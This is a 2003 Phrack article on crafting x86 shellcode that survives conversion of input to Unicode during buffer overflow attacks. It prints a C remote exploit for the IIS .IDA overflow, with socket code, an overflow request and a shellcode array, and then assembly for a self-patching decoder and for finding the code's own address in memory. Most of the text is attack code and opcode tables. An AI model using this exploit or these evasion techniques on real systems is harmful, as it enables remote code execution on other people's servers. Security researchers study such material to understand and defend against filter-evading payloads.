[ News ] [ Paper Feed ] [ Issues ] [ Authors ] [ Archives ] [ Contact ]


..[ Phrack Magazine ]..
.:: Building IA32 'Unicode-Proof' Shellcodes ::.

Issues: [ 1 ] [ 2 ] [ 3 ] [ 4 ] [ 5 ] [ 6 ] [ 7 ] [ 8 ] [ 9 ] [ 10 ] [ 11 ] [ 12 ] [ 13 ] [ 14 ] [ 15 ] [ 16 ] [ 17 ] [ 18 ] [ 19 ] [ 20 ] [ 21 ] [ 22 ] [ 23 ] [ 24 ] [ 25 ] [ 26 ] [ 27 ] [ 28 ] [ 29 ] [ 30 ] [ 31 ] [ 32 ] [ 33 ] [ 34 ] [ 35 ] [ 36 ] [ 37 ] [ 38 ] [ 39 ] [ 40 ] [ 41 ] [ 42 ] [ 43 ] [ 44 ] [ 45 ] [ 46 ] [ 47 ] [ 48 ] [ 49 ] [ 50 ] [ 51 ] [ 52 ] [ 53 ] [ 54 ] [ 55 ] [ 56 ] [ 57 ] [ 58 ] [ 59 ] [ 60 ] [ 61 ] [ 62 ] [ 63 ] [ 64 ] [ 65 ] [ 66 ] [ 67 ] [ 68 ] [ 69 ] [ 70 ] [ 71 ]
Current issue : #61 | Release date : 2003-08-13 | Editor : Phrack Staff
IntroductionPhrack Staff
LoopbackPhrack Staff
LinenoisePhrack Staff
Toolz ArmoryPhrack Staff
Phrack Prophile on digitPhrack Staff
Advanced Doug Lea's malloc exploitsjp
Hijacking Linux Page Fault Handlerbuffer
The Cerberus ELF interfacemayhem
Polymorphic Shellcode EngineCLET team
Infecting Loadable Kernel Modulestruff
Building IA32 'Unicode-Proof' Shellcodesobscou
Fun with the Spanning Tree ProtocolVladislav V. Myasnyankin & Oleg K. Artemjev
Hacking the Linux Kernel Network Stackbioforge
Kernel Rootkit Experiences & the Futurestealth
Phrack World NewsPhrack Staff
Title : Building IA32 'Unicode-Proof' Shellcodes
Author : obscou
                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x0b of 0x0f

|=------------=[ Building IA32 'Unicode-Proof' Shellcodes ]=-------------=|
|=-----------------------------------------------------------------------=|
|=------------=[ obscou <obscou@dr.com||wishkah@chek.com> ]=-------------=|



           
--[ Contents

  0 - The Unicode Standard

  1 - Introduction

  2 - Our Instructions set

  3 - Possibilities

  4 - The Strategy

  5 - Position of the code

  6 - Conclusion

  7 - Appendix : Code


--[ 0 - The Unicode Standard

While   exploiting   buffer   overflows,   we  sometime face a difficulty : 
character transformations. In fact, the exploited program may have modified
our buffer, by setting it to lower/upper case, or by getting rid of 
non-alphanumeric characters, thus stopping the attack as our shellcode 
usually can't run anymore. The transformation we are dealing here with is
the transformation of a C-type string (common zero terminated string) to a
Unicode string.


Here is a quick overview of what Unicode is (source : www.unicode.org)


	"What is Unicode?
	Unicode provides a unique number for every character,
	no matter what the platform,
	no matter what the program,
	no matter what the language."

		--- www.unicode.org

In fact, because Internet has become so popular, and because we all have
different languages and therefore different charaters, there is now a need
to have a standard so that computers can exchange data whatever the
program, platform, language, network etc...
Unicode is a 16-bits character set capable of encoding all known characters
and used as a worldwide character-encoding standard.

Today, Unicode is used by many industry leaders such as :

	Apple
	HP
	IBM
	Microsoft
	Oracle
	Sun
	and many others...

The Unicode standard is requiered by softwares like : 
(non exhaustive list, see unicode.org for full list)

Operating Systems :

	Microsoft Windows CE, Windows NT, Windows 2000, and Windows XP 
	GNU/Linux with glibc 2.2.2 or newer - FAQ support 
	Apple Mac OS 9.2, Mac OS X 10.1, Mac OS X Server, ATSUI 
	Compaq's Tru64 UNIX, Open VMS 
	IBM AIX, AS/400, OS/2 
	SCO UnixWare 7.1.0 
	Sun Solaris 

And of course, any software that runs under thoses systems...

http://www.unicode.org/charts/ : displays the Unicode table of caracters
It looks like this :

|   Range   |	Character set
|-----------|--------------------
| 0000-007F | Basic Latin
| 0080-00FF | Latin-1 Supplement
| 0100-017F | Latin Extended-A
|   [...]   |      [...]
| 0370-03FF | Greek and Coptic
|   [...]   |      [...]
| 0590-05FF | Hebrew
| 0600-06FF | Arabic
|   [...]   |      [...]
| 3040-309F | Japanese Hiragana
| 30A0-30FF | Japanese Katakana


.... and so on until everybody is happy !

Unicode 4.0 includes characters for :

 Basic Latin				Block Elements 
 Latin-1 Supplement  			Geometric Shapes 
 Latin Extended-A  			Miscellaneous Symbols 
 Latin Extended-B  			Dingbats 
 IPA Extensions  			Miscellaneous Math. Symbols-A 
 Spacing Modifier Letters  		Supplemental Arrows-A 
 Combining Diacritical Marks  		Braille Patterns 
 Greek  Supplemental 			Arrows-B 
 Cyrillic  Miscellaneous 		Mathematical Symbols-B 
 Cyrillic Supplement  			Supplemental Mathematical Operators
 Armenian  				CJK Radicals Supplement 
 Hebrew  				Kangxi Radicals 
 Arabic  				Ideographic Description Characters
 Syriac  				CJK Symbols and Punctuation 
 Thaana  				Hiragana 
 Devanagari  				Katakana 
 Bengali  				Bopomofo 
 Gurmukhi  				Hangul Compatibility Jamo 
 Gujarati  				Kanbun 
 Oriya  				Bopomofo Extended 
 Tamil  				Katakana Phonetic Extensions 
 Telugu  				Enclosed CJK Letters and Months 
 Kannada  				CJK Compatibility
 Malayalam  				CJK Unified Ideographs Extension A
 Sinhala  				Yijing Hexagram Symbols
 Thai  					CJK Unified Ideographs
 Lao  					Yi Syllables
 Tibetan  				Yi Radicals
 Myanmar  				Hangul Syllables
 Georgian 				High Surrogates
 Hangul Jamo  				Low Surrogates
 Ethiopic  				Private Use Area
 Cherokee  				CJK Compatibility Ideographs
 Unified Canadian Aboriginal Syllabic  	Alphabetic Presentation Forms
 Ogham  				Arabic Presentation Forms-A
 Runic  				Variation Selectors
 Tagalog 				Combining Half Marks
 Hanunoo  				CJK Compatibility Forms
 Buhid  				Small Form Variants
 Tagbanwa  				Arabic Presentation Forms-B
 Khmer  				Halfwidth and Fullwidth Forms
 Mongolian  				Specials
 Limbu  				Linear B Syllabary
 Tai Le  				Linear B Ideograms
 Khmer Symbols 				Aegean Numbers
 Phonetic Extensions  			Old Italic
 Latin Extended 			Additional  Gothic
 Greek Extended  			Deseret
 General Punctuation  			Shavian
 Superscripts and Subscripts 		Osmanya
 Currency Symbols  			Cypriot Syllabary
 Combining Marks for Symbols  		Byzantine Musical Symbols
 Letterlike Symbols  			Musical Symbols
 Number Forms  				Tai Xuan Jing Symbols
 Arrows  				Mathematical Alphanumeric Symbols
 Mathematical Operators  		CJK Unified Ideographs Extension B
 Miscellaneous Technical  		CJK Compatibility Ideographs Supp.
 Control Pictures  			Tags
 Optical Character Recognition  	Variation Selectors Supplement 
 Enclosed Alphanumerics  		Supplementary Private Use Area-A 
 Box Drawing  				Supplementary Private Use Area-B 

Yes it's impressive.


Microsoft says :

"Unicode is a worldwide character-encoding standard. Windows NT, Windows
2000, and Windows XP use it exclusively at the system level for character
and string manipulation. Unicode simplifies localization of software and
improves multilingual text processing. By implementing it in your
applications, you can enable the application with universal data exchange
capabilities for global marketing, using a single binary file for every
possible character code."
Wa have to notice that The Windows programming interface uses ANSI and
Unicode API's for each API, for example: 

The API : MessageBox (displays a msgbox of course)
Is exported by User32.dll with : 
		MessageBoxA	(ANSI)
		MessageBoxW	(Unicode)

MessageBoxA will accept a standard C-type string as an argument
MessageBoxW requieres Unicode strings as arguments.

According to Microsoft, internal use of strings is handled by the system
itself that ensures a transparent translation of strings between different
standards.
But if you want to use ANSI in a C program compiling under windows, you
just have to define UNICODE and every API will be replaced by its 'W'
version.
This sounds logical to me, let's get to the point now...



--[ 1 - Introduction



We will consider the following situation :

You send some data to a vulnerable server, and your data is considered as
ASCII (standard 8-bits character encoding), then your buffer is translated
into unicode for compatibility reasons, and then an overflow occurs with
your transformed buffer.

For example, such an input buffer :
4865 6C6C 6F20 576F 726C 6420 2100 0000 Hello World !...
0000 0000 0000 0000 0000 0000 0000 0000 ................

Would turn into :
4800 6500 6C00 6C00 6F00 2000 5700 6F00 H.e.l.l.o. .W.o.
7200 6C00 6400 2000 2100 0000 0000 0000 r.l.d. .!.......

Then bang, overflow (yeah i know my example is stupid)

Under Win32 plateforms, a process usually starts at 00401000, this makes
it possible to smash EIP with a return address that looks like : 

                         ????:00??00??

So even with such a transformation, exploitation is still possible.
It will be a lot harder to get a working shellcode.
One possibility is to stuff the stack with untranformed data than contains
the same shellcode many times, then do the overflow with the tranformed
buffer, and make it return to one of your numerous shellcodes.
Here we assume that this was impossible because all buffers are unicode.
Needless to say that our assembly code won't go through this safely.
So we need to find a way to build a shellcode that resists to such a 
transformation. We need to find opcodes containing null bytes to build our
shellcode.

Here is an example, it is a bit old but it is an example of how we can
manage to get a shellcode executed even if our sent buffer is f**cked
(This exploit was working on my box, it runs against IIS www service) :


---------------- CUT HERE -------------------------------------------------

/* 
   IIS .IDA remote exploit


   formatted return address : 0x00530053
   IIS sticks our very large buffer at 0x0052....
   We jump to the buffer and get to the point
   

   by obscurer
*/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>

void usage(char *a);
int wsa();

/* My Generic Win32 Shellcode */
unsigned char shellcode[]={
"\xEB\x68\x4B\x45\x52\x4E\x45\x4C\x13\x12\x20\x67\x4C\x4F\x42\x41"
"\x4C\x61\x4C\x4C\x4F\x43\x20\x7F\x4C\x43\x52\x45\x41\x54\x20\x7F"
[......]
[......]
[......]
"\x09\x05\x01\x01\x69\x01\x01\x01\x01\x57\xFE\x96\x11\x05\x01\x01"
"\x69\x01\x01\x01\x01\xFE\x96\x15\x05\x01\x01\x90\x90\x90\x90\x00"};

int main (int argc, char **argv)
{

int sock;
struct hostent *host;
struct sockaddr_in sin;
int index;

char *xploit;
char *longshell;


char retstring[250];

if(argc!=4&&argc!=5) usage(argv[0]);


if(wsa()==FALSE)
{
	printf("Error : cannot initialize winsock\n");
	exit(0);
}


int size=0;

if(argc==5)
size=atoi(argv[4]);


printf("Beginning Exploit building\n");

xploit=(char *)malloc(40000+size);
longshell=(char *)malloc(35000+size);
if(!xploit||!longshell) 
{
printf("Error, not enough memory to build exploit\n");
return 0;
}

if(strlen(argv[3])>65)
{
printf("Error, URL too long to fit in the buffer\n");
return 0;
}

for(index=0;index<strlen(argv[3]);index++)
shellcode[index+139]=argv[3][index]^0x20;

memset(xploit,0,40000+size);
memset(longshell,0,35000+size);
memset (longshell, '\x41', 30000+size);

for(index=0;index<sizeof(shellcode);index++)
longshell[index+30000+size]=shellcode[index];

longshell[30000+sizeof(shellcode)+size]=0;


memset(retstring,'S',250);

sprintf(xploit,
        "GET /NULL.ida?%s=x HTTP/1.1\nHost: localhost\nAlex: %s\n\n",
	retstring,
        longshell);


printf("Exploit build, connecting to %s:%d\n",argv[1],atoi(argv[2]));

sock=socket(AF_INET,SOCK_STREAM,0);
if(sock<0)
{
	printf("Error : Couldn't create a socket\n");
	return 0;
}


if ((inet_addr (argv[1]))==-1) 
    {
	host = gethostbyname (argv[1]);
    if (!host)
    {
		printf ("Error : Couldn't resolve host\n");
		return 0;
    }
memcpy((unsigned long *)&sin.sin_addr.S_un.S_addr,
       (unsigned long *)host->h_addr,
       sizeof(host->h_addr));

}
else sin.sin_addr.S_un.S_addr=inet_addr(argv[1]);


sin.sin_family=AF_INET;
sin.sin_port=htons(atoi(argv[2]));

index=connect(sock,(struct sockaddr *)&sin,sizeof(sin));
if (index==-1)
{
	printf("Error : Couldn't connect to host\n");
	return 0;
}

printf("Connected to host, sending shellcode\n");

index=send(sock,xploit,strlen(xploit),0);
if(index<1)
{
	printf("Error : Couldn't send trough socket\n");
	return 0;
}

printf("Done, waiting for an answer\n");

memset (xploit,0, 2000);

index=recv(sock,xploit,100,0);
if(index<0)
{
	printf("Server crashed, if exploit didn't work,
				increase buffer size by 10000\n");
	exit(0);
}


printf("Exploit didn't seem to work, closing connection\n",xploit);

closesocket(sock);

printf("Done\n");

return 0;
}
---------------- CUT HERE -------------------------------------------------


In this example, the exploitation string had to be as follows :

"GET /NULL.ida?[BUFFER]=x HTTP/1.1\nHost: localhost\nAlex: [ANY]\n\n"

If [BUFFER] is big enough, EIP is smashed with what it contains.
But, i've noticed that [BUFFER] has been transformed into unicode when the
overflow occurs. But something interesting was that [ANY] was a clean
ASCII buffer, being mapped in memory at around : 00530000...
So i tried to set [BUFFER] to "SSSSSSSSSSSSS" (S = 0x53)
After the unicode transformation, it became : 

...00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53...

The EIP was smashed with : 0x00530053, IIS returned on somewhere around
[ANY], where i had put a huge space of 0x41 = "A" (increments a register)
and then, at the end of [ANY], my shellcode.
And this worked. But if we have no clean buffer, we are unable to install
a shellcode somewhere in memory. We have to find another solution.




--[ 2 - Our Instructions set



We must keep in mind that we can't use absolute addresses for calls, jmp...
because we want our shellcode to be as portable as possible.
First, we have to know which opcodes can be used, and which can't be used
in order to find a strategy. As used in the Intel papers :

r32 refers to a 32 bits register (eax, esi, ebp...)
r8  refers to a  8 bits register (ah, bl, cl...)



     - UNCONDITIONAL JUMPS (JMP)

JMP's possible opcodes are EB and E9 for relative jumps, we can't use them
as they must be followed by a byte (00 would mean a jump to the next 
instruction which is fairly unuseful)

FF and EA are absolute jumps, these opcodes can't be followed by a 00,
except if we want to jump to a known address, which we won't do as this
would mean that our shellcode contains harcoded addresses.



     - CONDITIONAL JUMPS (Jcc : JNE, JAE, JNE, JL, JZ, JNG, JNS...)

The syntaxe for far jumps can't be used as it needs 2 consecutives non null
bytes. the syntaxe for near jumps can't be used either because the opcode 
must be followed by the distance to jump to, which won't be 00. Also, 
JMP r32 is impossible.



     - LOOPs (LOOP, LOOPcc : LOOPE, LOOPNZ..)

Same problem : E0, or E1, or E2 are LOOP opcodes, they must me followed by
the number of bytes to cross...


     - REPEAT (REP, REPcc : REPNE, REPNZ, REP + string operation)

All this is impossible to do because thoses intructions all begin with a
two bytes opcode.


     - CALLs 

Only the relative call can be usefull :
E8 ?? ?? ?? ??
In our case, we must have : 
E8 00 ?? 00 ??    (with each ?? != 00)
We can't use this as our call would be at least 01000000 bytes further...
Also, CALL r32 is impossible.


     - SET BYTE ON CONDITION (SETcc)

This instruction needs 2 non nul bytes. (SETA is 0F 97  for example).



Hu oh... This is harder as it may seem... We can't do any test... Because
we can't do anything conditional ! Moreover, we can't move along our code :
no Jumps and no Calls are permitted, and no Loops nor Repeats can be done.

Then, what can we do ?
The fact that we have a lot of NULLS will allow a lot of operation on the
EAX register... Because when you use EAX, [EAX], AX, etc.. as operand, 
it is often coded in Hex with a 00.



     - SINGLE BYTE OPCODES

We can use any single byte opcode, this will give us any INC or DEC on any
register, XCHG and PUSH/POP are also possible, with registers as operands.
So we can do :
XCHG r32,r32
POP r32
PUSH r32

Not bad.


     - MOV
 ________________________________________________________________
|8800              mov [eax],al                                  |
|8900              mov [eax],eax                                 |
|8A00              mov al,[eax]                                  |
|8B00              mov eax,[eax]                                 |
|                                                                |
|Quite unuseful.                                                 |
|________________________________________________________________|

 ________________________________________________________________
|A100??00??        mov eax,[0x??00??00]                          |
|A200??00??        mov [0x??00??00],al                           |
|A300??00??        mov [0x??00??00],eax                          |
|                                                                |
|These are unuseful to us. (We said no hardcoded addresses).     |
|________________________________________________________________|

 ________________________________________________________________
|B_00              mov r8,0x0                                    |
|A4                movsb                                         |
|                                                                |
|Maybe we can use these ones.                                    |
|________________________________________________________________|

 ________________________________________________________________
|B_00??00??        mov r32,0x??00??00                            |
|C600??            mov byte [eax],0x??                           |
|                                                                |
|This might be interesting for patching memory.                  |
|________________________________________________________________|



     - ADD

 ________________________________________________________________
|00__              add [r32], r8                                 |
|                                                                | 
| Using any register as a pointer, we can add bytes in memory.   |
|                                                                |
|00__              add r8,r8                                     |
|                                                                |
| Could be a way to modify a register.                           |
|________________________________________________________________|


     - XOR

 ________________________________________________________________
|3500??00??        xor eax,0x??00??00                            |
|                                                                | 
|                                                                |
| Could be a way to modify the EAX register.                     |
|________________________________________________________________|


     - PUSH

 ________________________________________________________________
|6A00              push dword 0x00000000                         |
|6800??00??        push dword 0x??00??00                         | 
|                                                                |
| Only this can be made.                                         |
|________________________________________________________________|


--[ 3 - Possibilities


First we have to get rid of a small detail : the fact that we have
such 0x00 in our code may requier caution because if you return from
smashed EIP to ADDR :

... ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ...
    ||
   ADDR

The result may be completely different if you ret to ADDR or ADDR+1 !
But, we can use as 'NOP' instruction, instructions like : 

 ________________________________________________________________
|0400              add al,0x0                                    |
|________________________________________________________________|

Because : 000400 is : add [2*eax],al, we can jump wherever we want, we
won't be bothered by the fact that we have to fall on a 0x00 or not.

But this need 2*eax to be a valid pointer.
We also have :

 ________________________________________________________________
|06                push es                                       |
|0006              add [esi],al                                  |
|                                                                |
|0F000F            str [edi]                                     |
|000F              add [edi],cl                                  |
|                                                                |
|2E002E            add [cs:esi],ch                               |
|002E              add [esi],ch                                  |
|                                                                |
|2F                das                                           |
|002F              add [edi],ch                                  |
|                                                                |
|37                aaa                                           |
|0037              add [edi],dh                                  |
|                                  ; .... etc etc...             |
|________________________________________________________________|

We are just to be careful with this alignment problem.

Next, let's see what can be done :

XCHG, INC, DEC, PUSH, POP 32 bits registers can be done directly

We can set a register (r32) to 00000000 :
 ________________________________________________________________
|push dword 0x00000000                                           |
|pop r32                                                         |
|________________________________________________________________|

Notice that anything that can be done with EAX can be done with any other 
register thanxs to the XCHG intruction.

For example we can set any value to EDX with a 0x00 at second position :
(for example : 0x12005678):
 ________________________________________________________________
|mov edx,0x12005600        ; EDX = 0x12005600                    | 
|mov ecx,0xAA007800                                              |
|add dl,ch                 ; EDX = 0x12005678                    |
|________________________________________________________________|


More difficult : we can set any value to EAX (for example), but we will
have to use a little trick with the stack :

 ________________________________________________________________
|mov eax,0xAA003400        ; EAX = 0xAA003400                    |
|push eax                                                        |
|dec esp                                                         |
|pop eax                   ; EAX = 0x003400??                    |
|add eax,0x12005600        ; EAX = 0x123456??                    |
|mov al,0x0                ; EAX = 0x12345600                    |
|mov ecx,0xAA007800                                              |
|add al,ch                                                       |
|                   ; finally : EAX = 0x12345678                 |
|________________________________________________________________|


Importante note : we migth want to set some 0x00 too :

If we wanted a 0x00 instead of 0x12, then instead of adding 0x00120056 to
the register, we can simply add 0x56 to ah :

 ________________________________________________________________
|mov ecx,0xAA005600                                              |
|add ah,ch                                                       |
|________________________________________________________________|

If we wanted a 0x00 instead of 0x34, then we just need EAX = 0x00000000  to
begin with, instead of trying to set this 0x34 byte.

If we wanted a 0x00 instead of 0x56, then it is simple to substract 0x56 to
ah by adding 0x100 - 0x56 = 0xAA to it :
 ________________________________________________________________
|                                     ; EAX = 0x123456??         |
|mov ecx,0xAA00AA00                                              |
|add ah,ch                                                       |
|________________________________________________________________|

If we wanted a 0x00 instead of the last byte, just give up the last line.

Maybe if you haven't thougth of this, remember you can jump to a given
location with (assuming the address is in EAX) :
________________________________________________________________
|50                push eax                                      |
|C3                ret                                           |
|________________________________________________________________|

You may use this in case of a desperate situation.


--[ 4 - The Strategy



It seems nearly impossible to get a working shellcode with such a small set
of opcodes... But it is not !
The idea is the following :

Given a working shellcode, we must get rid of the 00 between each byte.
We need a loop, so let's do a loop, assuming EAX points to our shellcode :

 _Loop_code_:____________________________________________________
|                              ; eax points to our shellcode     |
|                              ; ebx is 0x00000000               |
|                              ; ecx is 0x00000500 (for example) |
|                                                                |
|          label:                                                |
|43                inc ebx                                       |
|8A1458            mov byte dl,[eax+2*ebx]                       |
|881418            mov byte [eax+ebx],dl                         |
|E2F7              loop label                                    |
|________________________________________________________________|

Problem : not unicode. So let's turn it into unicode :

43 8A 14 58 88 14 18 E2 F7, would be :
43 00 14 00 88 00 18 00 F7

Then, considering the fact that we can write data at a location pointed by
EAX, it will be simple to tranform thoses 00 into their original values.

We just need to do this (we assume EAX points to our data) :

 ________________________________________________________________
|40                inc eax                                       |
|40                inc eax                                       |
|C60058            mov byte [eax],0x58                           |
|________________________________________________________________|

Problem : still not unicode. So that 2 bytes like 0x40 follow, we need a 
00 between the two... As 00 can't fit, we need something like : 00??00,
which won't interfere with our business, so :

                 add [ebp+0x0],al   (0x004500)

will do fine. Finally we get :

 ________________________________________________________________
|40                inc eax                                       |
|004500            add [ebp+0x0],al                              |
|40                inc eax                                       |
|004500            add [ebp+0x0],al                              |
|C60058            mov byte [eax],0x58                           |
|________________________________________________________________|

-> [40 00 45 00 40 00 45 00 C6 00 58] is nothing but a unicode string !


Before the loop, we must have some things done : 
First we must set a proper counter, i propose to set ECX to 0x0500, this
will deal with a 1280 bytes shellcode (but feel free to change this).
->This is easy to do thanks to what we just noticed.
Then we must have EBX = 0x00000000, so that the loop works properly.
->It is also easy to do.
Finally we must have EAX pointing to our shellcode in order to take away 
the nulls. 
->This will be the harder part of the job, so we will see that later.

Assuming EAX points to our code, we can build a header that will clean the
code that follows it from nulls (we use add [ebp+0x0],al to align nulls) :

-> 1st part : we do EBX=0x00000000, and ECX=0x00000500 (approximative size 
of buffer)

 ________________________________________________________________
|6A00              push dword 0x00000000                         |
|6A00              push dword 0x00000000                         |
|5D                pop ebx                                       |
|004500            add [ebp+0x0],al                              |
|59                pop ecx                                       |
|004500            add [ebp+0x0],al                              |
|BA00050041        mov edx,0x41000500                            |
|00F5              add ch,dh                                     |
|________________________________________________________________|

-> 2nd part : The patching of the 'loop code' :
43 00 14 00 88 00 18 00 F7 has to be : 43 8A 14 58 88 14 18 E2 F7
So we need to patch 4 bytes exactly which is simple :

(N.B : using {add dword [eax],0x00??00??} takes more bytes so we will
use a single byte mov : {mov byte [eax],0x??} to do this)

 ________________________________________________________________
|mov byte [eax],0x8A                                             |
|inc eax                                                         |
|inc eax                                                         |
|mov byte [eax],0x58                                             |
|inc eax                                                         |
|inc eax                                                         |
|mov byte [eax],0x14                                             |
|inc eax                                                         |
|                  ; one more inc to get EAX to the shellcode    |
|________________________________________________________________|

Which does, with 'align' instruction {add [ebp+0x0],al} :
 ________________________________________________________________
|004500            add [ebp+0x0],al                              |
|C6008A            mov byte [eax],0x8A   ; 0x8A                  |
|004500            add [ebp+0x0],al                              |
|                                                                |
|40                inc eax                                       |
|004500            add [ebp+0x0],al                              |
|40                inc eax                                       |
|004500            add [ebp+0x0],al                              |
|C60058            mov byte [eax],0x58   ; 0x58                  |
|004500            add [ebp+0x0],al                              |
|                                                                |
|40                inc eax                                       |
|004500            add [ebp+0x0],al                              |
|40                inc eax                                       |
|004500            add [ebp+0x0],al                              |
|C60014            mov byte [eax],0x14   ; 0x14                  |
|004500            add [ebp+0x0],al                              |
|                                                                |
|40                inc eax                                       |
|004500            add [ebp+0x0],al                              |
|40                inc eax                                       |
|004500            add [ebp+0x0],al                              |
|C600E2            mov byte [eax],0xE2   ; 0xE2                  |
|004500            add [ebp+0x0],al                              |
|40                inc eax                                       |
|004500            add [ebp+0x0],al                              |
|________________________________________________________________|

This is good, we now have EAX that points to the end of the loop, that is
to say : the shellcode.

-> 3rd part : The loop code (stuffed with nulls of course)
 ________________________________________________________________
|43                db 0x43                                       |
|00                db 0x00      ; overwritten with 0x8A          |
|14                db 0x14                                       |
|00                db 0x00      ; overwritten with 0x58          |
|88                db 0x88                                       |
|00                db 0x00      ; overwritten with 0x14          |
|18                db 0x18                                       |
|00                db 0x00      ; overwritten with 0xE2          |
|F7                db 0xF7                                       |
|________________________________________________________________|

Just after this should be placed the original working shellcode.



Let's count the size of this header : (nulls don't count of course)

   1st part : 10 bytes
   2nd part : 27 bytes
   3rd part :  5 bytes
   -------------------
      Total : 42 bytes

I find this affordable, because i could manage to make a remote Win32
shellcode fit in around 450 bytes.

So, at the end, we made it : a shellcode that works after it has been
turn into a unicode string !

Is this really it ? No of course, we forgot something. I wrote that we
assumed that EAX was pointing on the exact first null byte of the loop
code. But in order to be honest with you, i will have to explain a way
to obtain this.


--[ 5 - Captain, we don't know our position !


The problem is simple : We had to perform patches on memory to get our loop
working well. So we need to know our position in memory because we are
patching ourself.
In an assembly program, an easy way to do this would be :

 ________________________________________________________________
|call label                                                      |
|                                                                |
|          label:                                                |
|pop eax                                                         |
|________________________________________________________________|

Will get the absolute memory address of label in EAX.

In a classic shellcode we will need to do a call to a lower address
to avoid null bytes :

 ________________________________________________________________
|jmp jump_label                                                  |
|                                                                |
|          call_label:                                           |
|pop eax                                                         |
|push eax                                                        |
|ret                                                             |
|          jump_label:                                           |
|call call_label                                                 |
|                              ; ****                            |
|________________________________________________________________|

Will get the absolute memory address of '****'

But this is impossible in our case because we can't jump nor call.
Moreover, we can't parse memory looking for a signature of any kind.
I'm sure there must be other ways to do this but i could only 3 :


-> 1st idea : we are lucky.

If we are lucky, we can expect to have some registers pointing to a place
near our evil code. In fact, this will happen in 90% of time. This place
can't be considered as harcoded because it will surely move if the process
memory moves, from a machine to another. (The program, before it crashed,
must have used your data and so it must have pointers to it)
We know we can add anything to eax (only eax)
so we can :

     - use XCHG to have the approximate address in EAX
     - then add a value to EAX, thus moving it to wherever we want.

The problem is that we can't use : add al,r8 or and ah,r8, because don't
forget that : 
EAX=0x000000FF + add al,1 = EAX=0x00000000
So thoses manipulations will do different things depending on what EAX 
contains.

So all we have is : add eax,0x??00??00
No problem, we can add 0x1200 (for example) to EAX with : 

 ________________________________________________________________
|0500110001        add eax,0x01001100                            |
|05000100FF        add eax,0xFF000100                            |
|________________________________________________________________|

Then, it is simple to add some align data so that EAX points on what we
want.
For example : 
 ________________________________________________________________
|0400              add al,0x0                                    |
|________________________________________________________________|

would be perfect for align.
(N.B: we will maybe need a little inc EAX to fit)

Some extra space may be requiered by this methode (max : 128 bytes because
we can only get EAX to point to the nearest address modulus 0x100, then we
have to add align bytes. As each 2 bytes is in fact 1 buffer byte because
of the added null bytes, we must at worst add 0x100 / 2 = 128 bytes)


-> 2nd idea : a little less lucky.

If you can't find a close address within yours registers, you can maybe
find one in the stack. Let's just hope your ESP wasn't smashed after the
overflow.
You just have to POP from the stack until you find a nice address. This
methode can't be explained in a general way, but the stack always contains
addresses the application used before you bothered it. Note that you can
use POPAD to pop EDI, ESI, EBP, EBX, EDX, ECX, and EAX.
Then we use the same methode as above.



-> 3rd idea : god forgive me.

Here we suppose we don't have any interesting register, or that the values
that the registers contain change from a try to another. Moreover, there's
nothing interesting inside the stack. 

This is a desperate case so -> we use an old style samoura suicide attack.

My last idea is to :

     - Take a "random" memory location that has write access
     - Patch it with 3 bytes
     - Call this location with a relative call

First part is the more hazardous : we need to find an address that is 
within a writeable section. We'd better find one at the end of a section
full on nulls or something like that, because we're gonna call quite
randomly. The easiest way to do this is to take for example the .data
section of the target Portable Executable. It is usually a quite large
section with Flags : Read/Write/Data.
So this is not a problem to kind of 'hardcode' an address in this area.
So for the first step we just pisk an address in the middle of this,
it won't matter where.
(N.B : if one of your register points to a valid location after the
overflow, you don't have to do all this of course)
We assume the address is 0x004F1200 for example :

Using what we saw previously, it is easy to set EAX to this address :
 ________________________________________________________________
|B8004F00AA        mov eax,0xAA004F00        ; EAX = 0xAA004F00  |
|50                push eax                                      |
|4C                dec esp                                       |
|58                pop eax                   ; EAX = 0x004F00??  |
|B000              mov al,0x0                ; EAX = 0x004F0000  |
|B9001200AA        mov ecx,0xAA001200                            |
|00EC              add ah,ch                                     |
|                                   ; finally : EAX = 0x004F1200 |
|________________________________________________________________|


Then we will patch this writeable memory location with (guess what) :
 ________________________________________________________________
|pop eax                                                         |
|push eax                                                        |
|ret                                                             |
|________________________________________________________________|

Hex code of the patch : [58 50 C3]

This would give us, after we called this address, a pointer to our code in
EAX. This would be the end of the trouble. So let's patch this :

Remember that EAX contains the address we are patching. What we are going
to do is first patch with 58 00 C3 00 then move EAX 1 byte ahead, and put
the last byte : 0x50 between the two others.
(N.B : don't forget that byte are pushed in a reverse order in the stack)

 ________________________________________________________________
|C7005800C300      mov dword [eax],0x00C30058                    |
|40                inc eax                                       |
|C60050            mov byte [eax],0x50                           |
|________________________________________________________________|

Done with patching. Now we must call this location. I no i said that we
couldn't call anything, but this is a desperate case, so we use a 
relative call :

 ________________________________________________________________
|E800??00!!        call (here + 0x!!00??00)                      |
|                                       (**)                     |
|________________________________________________________________|

In order to get this methode working, you have to patch the end of a large
memory section containing nulls for example. Then we can call anywhere in
the area, it will end up executing our 3 bytes code.

After this call, EAX will have the address of (**), we are saved because we
just need to add EAX a value we can calculate because it is just a
difference between two offsets of our code. Therefore, we can't use
previous technique to add bytes to EAX because we want to add less then
0x100. So we can't do the {add eax, imm32} stuff. Let's do something else :

              add dword [eax], byte 0x?? 

is the key, because we can add a byte to a dword, this is perfect.

EAX points to (**), se can can use this memory location to set the new EAX
value and put it back into EAX. We assume we want to add 0x?? to eax :
(N.B : 0x?? can't be larger than 0x80 because the :
              add dword [eax], byte 0x?? 
we are using is signed, so if you set a large value, it will sub instead of 
add. (Then add a whole 0x100 and add some align to your code but this won't
happen as 42*2 bytes isn't large enough i think)
 ________________________________________________________________
|0400              ad al,0x0       ; the 0x04 will be overwritten|
|8900              mov [eax],eax                                 |
|8300??            add dword [eax],byte 0x??                     |
|8B00              mov eax,[eax]                                 |
|________________________________________________________________|

Everything is alright, we can make EAX point to the exact first null byte 
of loop_code as we wished.
We just need to calculate 0x?? (just count the bytes including nulls 
between loop_code and the call and you'll find 0x5A)




--[ 6 - Conclusion

Finally, we could make a unishellcode, that won't be altered after a 
str to unicode transformation.
I'm waiting other ideas or techniques to perform this, i'm sure there
are plenty of things i haven't thought about.



Thanks to : 
            - NASM Compiler and disassembler (i like its style =)
            - Datarescue IDA
            - Numega SoftIce
            - Intel and its processors

Documentation :
	    - http://www.intel.com     for the official intel assembly doc

Greetings go to : 
            - rix, for showing us beautiful things in his articles
	    - Tomripley, who always helps me when i need him !



--| 7 - Appendix : Code


For test purpose, i give you a few lines of code to play with (NASM style)
